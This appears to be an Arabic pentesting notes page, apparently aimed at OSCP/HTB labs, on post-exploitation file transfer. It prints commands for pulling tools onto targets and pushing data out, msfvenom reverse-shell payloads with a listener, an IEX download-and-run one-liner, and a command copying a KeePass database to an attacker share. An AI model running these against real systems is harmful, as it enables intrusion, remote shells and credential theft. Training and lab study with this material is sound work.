> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/post-exploitation/file-transfer.md).

# نقل الملفات

عادةً ما يكون نقل الملفات من أولى المشكلات العملية بعد تثبيت موطئ قدم: إدخال الأدوات، وإخراج الأدلة، والقيام بذلك عبر أي بروتوكول تسمح به شبكة الهدف. احتفظ بعدة طرق جاهزة لأن HTTP وSMB وFTP وPowerShell وNetcat تُحظر بشكل مختلف عبر البيئات.

{% hint style="info" %}
فضّل أبسط طريقة نقل تعمل، وتحقق من التجزئات عندما تكون السلامة مهمة، وأزل الحمولات المؤقتة والمشاركات والمستمعين عند انتهاء المهمة.
{% endhint %}

## جدول قرار سريع

| الحالة                                                            | الخيار الأول الجيد                                        | البدائل                   |
| ----------------------------------------------------------------- | --------------------------------------------------------- | ------------------------- |
| يمكن للهدف الذي يعمل بنظام Linux الوصول إلى HTTP الخاص بالمهاجم   | خادم HTTP بلغة Python + `wget`/`curl`                     | SCP، Netcat، Base64       |
| يمكن للهدف الذي يعمل بنظام Windows الوصول إلى HTTP الخاص بالمهاجم | خادم HTTP بلغة Python + PowerShell                        | `certutil`، SMB، FTP      |
| يمكن للهدف الذي يعمل بنظام Windows الوصول إلى SMB                 | Impacket `smbserver.py`                                   | HTTP، FTP                 |
| الحاجة إلى استخراج البيانات من Windows إلى Linux                  | مشاركة SMB مع دعم الكتابة                                 | Netcat، Base64            |
| ملف نصي صغير جدًا                                                 | نسخ/لصق Base64                                            | Netcat                    |
| خروج مقيد                                                         | جرّب المنافذ الشائعة المسموح بها مثل `80`, `443`، أو `53` | قم بعملية Pivot/نفق أولًا |

## عمليات النقل إلى هدف Linux

### `Wget`

```bash
python3 -m http.server 8000
wget http://10.10.11.1:8000/file.pdf
```

### **`Curl:`**

```bash
python3 -m http.server 1234
curl -O http://10.10.11.25:1234/file.pdf
```

### `Netcat`

المستقبل أولًا:

```bash
nc -lvp 4444 > file.pdf
```

المرسل:

```bash
cat file.pdf | nc 10.10.11.25 4444
```

### `SCP:`

من الخادم المصدر:

```bash
scp /path/to/file user@10.10.11.25:/path/to/destination
```

من الخادم الوجهة:

```bash
scp user@10.10.11.1:/path/to/file /path/to/destination
```

## عمليات النقل من Linux إلى Windows

### خادم SMB

غالبًا ما يكون SMB هو مسار النقل الأكثر موثوقية من Kali إلى Windows عندما يكون المنفذ `445` متاحًا.

على Kali:

```bash
smbserver.py share_name . -smb2support
```

إذا كان Windows يتطلب المصادقة:

```bash
smbserver.py share_name . -smb2support -username user -password password
```

على Windows:

```powershell
copy \\10.10.14.10\share_name\file.exe C:\Temp\file.exe
```

### خادم HTTP

على Kali:

```bash
python3 -m http.server 8000
```

على Windows باستخدام PowerShell:

```powershell
Invoke-WebRequest -Uri "http://10.10.14.10:8000/file.exe" -OutFile "C:\Temp\file.exe"
```

عميل PowerShell بديل:

```powershell
(New-Object System.Net.WebClient).DownloadFile("http://10.10.14.10:8000/file.exe", "C:\Temp\file.exe")
```

باستخدام `certutil`:

```powershell
certutil -urlcache -split -f "http://10.10.14.10:8000/file.exe" C:\Temp\file.exe
```

### خادم FTP

يكون FTP مفيدًا عندما يكون HTTP/SMB مقيدًا ولكن يُسمح باتصالات FTP الصادرة.

على Kali:

```bash
sudo apt update
sudo apt install python3-pyftpdlib
python3 -m pyftpdlib -p 21 --write
```

على Windows، أنشئ ملف أوامر FTP صغير:

```powershell
echo open 10.10.14.10 21> ftp_commands.txt
echo anonymous>> ftp_commands.txt
echo password>> ftp_commands.txt
echo binary>> ftp_commands.txt
echo get file.exe>> ftp_commands.txt
echo bye>> ftp_commands.txt
ftp -s:ftp_commands.txt
```

## عمليات النقل إلى هدف Windows

### `Certutil`

```powershell
python3 -m http.server 80
certutil.exe -f -urlcache -split http://10.10.10.10/shell.exe
```

### `Invoke-WebRequest`

```powershell
python3 -m http.server 80
Invoke-WebRequest -Uri "http://10.10.10.10/file.exe" -OutFile "file.exe"
```

### `IEX (Invoke-Expression)`

```powershell
python3 -m http.server 80
IEX(New-object Net.WebClient).downloadString('http://10.10.10.10/file')
```

### `رفع ملف`

يجب التأكد من أن الملفات موجودة في الدليل المناسب حتى يتمكن الخادم من الوصول إليها. استخدم الأمر التالي لتنفيذ عملية الرفع

```bash
upload /home/jordan/Desktop/htb/return/content/nc.exe
```

### `مشاركة ملفات SMB`

```bash
smbserver.py share $(pwd) -smb2support
```

ثم يمكنك الوصول إلى مشاركة SMB الخاصة بك على العنوان التالي:

```powershell
copy \\10.10.10.10\share\file C:\Temp\file
```

## نقل الملفات من Windows إلى Linux

### رفع عبر SMB

ابدأ مشاركة SMB مع المصادقة ودعم SMB2:

```bash
smbserver.py -smb2support -username user -password password share_name /tmp/share
```

من الهدف الذي يعمل بنظام Windows، انسخ الملف إلى مشاركة SMB الخاصة بالمهاجم:

```powershell
copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.14.9\share_name\
```

<figure><img src="/files/209e04f1530ab322f5c5c422d8b6ad3fc0db6c30" alt=""><figcaption></figcaption></figure>

### استخراج البيانات عبر Netcat

على Linux، استمع واكتب البايتات الواردة إلى ملف:

```bash
nc -nlvp 4444 > received_file.txt
```

على Windows:

```powershell
type C:\path\to\file.txt | nc.exe 10.10.14.10 4444
```

### Base64 للملفات الصغيرة

على Windows:

```powershell
certutil -encode C:\path\to\file.txt encoded.b64
type encoded.b64
```

على Linux، الصق المحتوى المشفّر ثم فك ترميزه:

```bash
echo "PASTE_BASE64_HERE" | base64 -d > file.txt
```

## ملاحظات تجهيز الحمولة

إنشاء الحمولة يندرج ضمن أدوات الاستغلال، لكن من المفيد إبقاء صيغ التجهيز الشائعة قريبة من ملاحظات نقل الملفات.

أمثلة على Windows:

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f exe -o reverse.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f psh -o reverse.ps1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f dll -o reverse.dll
```

أمثلة على Linux:

```bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f elf -o reverse
msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.10 LPORT=443 -f raw -o reverse.py
```

المستمع:

```bash
nc -nvlp 443
```

## نصائح سير العمل لـ OSCP

1. حضّر طرق HTTP وSMB وNetcat وFTP وBase64 قبل البدء.
2. اختبر المستمع ومسار الحمولة قبل الرفع.
3. استخدم المنافذ التي يُرجَّح أن شبكة الهدف تسمح بها، مثل `80`, `443`، أو `53`.
4. احتفظ بدليل صغير للحمولات/الأدوات جاهزًا لتجنب إعادة بناء الملفات نفسها مرارًا.
5. انتبه إلى أن مضاد الفيروسات قد يحظر الحمولات أو طرق النقل؛ بدّل البروتوكول أو الصيغة عند الحاجة.
6. نظّف الأدوات المؤقتة والحمولات ونصوص FTP ومشاركات SMB والملفات المُعدّة بعد التحقق.

## استكشاف الأخطاء وإصلاحها

| المشكلة                           | التحققات                                                                                              |
| --------------------------------- | ----------------------------------------------------------------------------------------------------- |
| تم رفض اتصال SMB                  | شغّل `smbserver.py` بصلاحيات كافية، تأكد من المنفذ `445`، وحاول `-smb2support`.                       |
| لا يمكن لـ Windows الوصول إلى SMB | جرّب خيارات المصادقة، وتحقق من قواعد جدار الحماية، أو انتقل إلى HTTP.                                 |
| يفشل تنزيل HTTP                   | تأكد من أن الهدف يمكنه الوصول إلى عنوان IP الخاص بالمهاجم وأن الملف موجود في الدليل الذي تتم مشاركته. |
| تم حظر PowerShell                 | جرّب `certutil`، أو SMB، أو FTP، أو مسار تنزيل من النظام نفسه مسموح به وفق السياسة.                   |
| مضاد الفيروسات يزيل الحمولة       | انقل أولًا ملف اختبار غير ضار، ثم عدّل صيغة الحمولة أو التجهيز أو طريقة التسليم.                      |
| تم رفض الإذن بعد النقل            | استخدم `chmod +x` على Linux أو راجع قوائم ACL في Windows باستخدام `icacls`.                           |
| يفشل الرفع إلى SMB                | ابدأ المشاركة بمسار قابل للكتابة وبيانات اعتماد، ثم أعد الاختبار باستخدام ملف نصي صغير.               |

## تنظيف

```bash
rm -f reverse reverse.exe reverse.ps1 reverse.dll
rm -f ftp_commands.txt encoded.b64 received_file.txt
```

على Windows:

```powershell
del C:\Temp\file.exe
del C:\Temp\reverse.exe
del ftp_commands.txt
certutil -urlcache * delete
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/post-exploitation/file-transfer.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
